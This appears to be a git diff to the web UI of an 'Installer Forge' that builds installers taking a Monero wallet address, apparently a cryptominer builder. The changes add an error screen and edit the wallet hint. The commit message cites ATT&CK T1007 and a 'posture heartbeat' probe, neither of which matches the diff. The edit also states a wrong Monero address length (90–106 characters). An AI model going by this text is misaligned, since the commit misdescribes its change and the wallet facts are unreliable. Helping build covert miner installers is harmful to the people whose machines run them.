feat: T1007 System Service Discovery - fixed allowlist probe in posture heartbeat
This commit is contained in:
@@ -33,7 +33,7 @@ import {
|
||||
} from '../help/fusionMedia';
|
||||
import './Pages.css';
|
||||
|
||||
function formatBytes(n: number): string {
|
||||
export function formatBytes(n: number): string {
|
||||
if (n < 1024) return `${n} B`;
|
||||
const units = ['KB', 'MB', 'GB'];
|
||||
let v = n / 1024;
|
||||
@@ -635,7 +635,7 @@ export default function BuilderPage() {
|
||||
fusionPrepFile,
|
||||
]);
|
||||
|
||||
if (loadingDefaults || !form) {
|
||||
if (loadingDefaults) {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<header className="deck-hero">
|
||||
@@ -649,6 +649,22 @@ export default function BuilderPage() {
|
||||
);
|
||||
}
|
||||
|
||||
if (!form) {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
||||
<h1>The Forge</h1>
|
||||
</div>
|
||||
</header>
|
||||
<NeonCard accent="brass">
|
||||
<p>{error || 'Failed to load forge defaults from server.'}</p>
|
||||
</NeonCard>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const installPreview = previewInstallPath({
|
||||
install_base: form.install_base,
|
||||
install_custom_base: form.install_custom_base,
|
||||
@@ -946,7 +962,7 @@ export default function BuilderPage() {
|
||||
<input
|
||||
type="text"
|
||||
className={`input mono${form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 ? ' input-warn' : ''}`}
|
||||
placeholder="4... or 8... (95–106 characters)"
|
||||
placeholder="4... or 8... (90–106 characters)"
|
||||
value={form.wallet}
|
||||
onChange={(e) => updateField('wallet', e.target.value)}
|
||||
required
|
||||
@@ -954,7 +970,7 @@ export default function BuilderPage() {
|
||||
/>
|
||||
{form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 && (
|
||||
<p className="form-hint" style={{ color: 'var(--neon-amber, #ffa)' }}>
|
||||
Wallet address looks short — Monero addresses are 95–106 characters starting with 4 or 8.
|
||||
Wallet address looks short — Monero addresses are 90–106 characters starting with 4 or 8.
|
||||
</p>
|
||||
)}
|
||||
<FieldHint field="wallet" />
|
||||
|
||||
Reference in New Issue
Block a user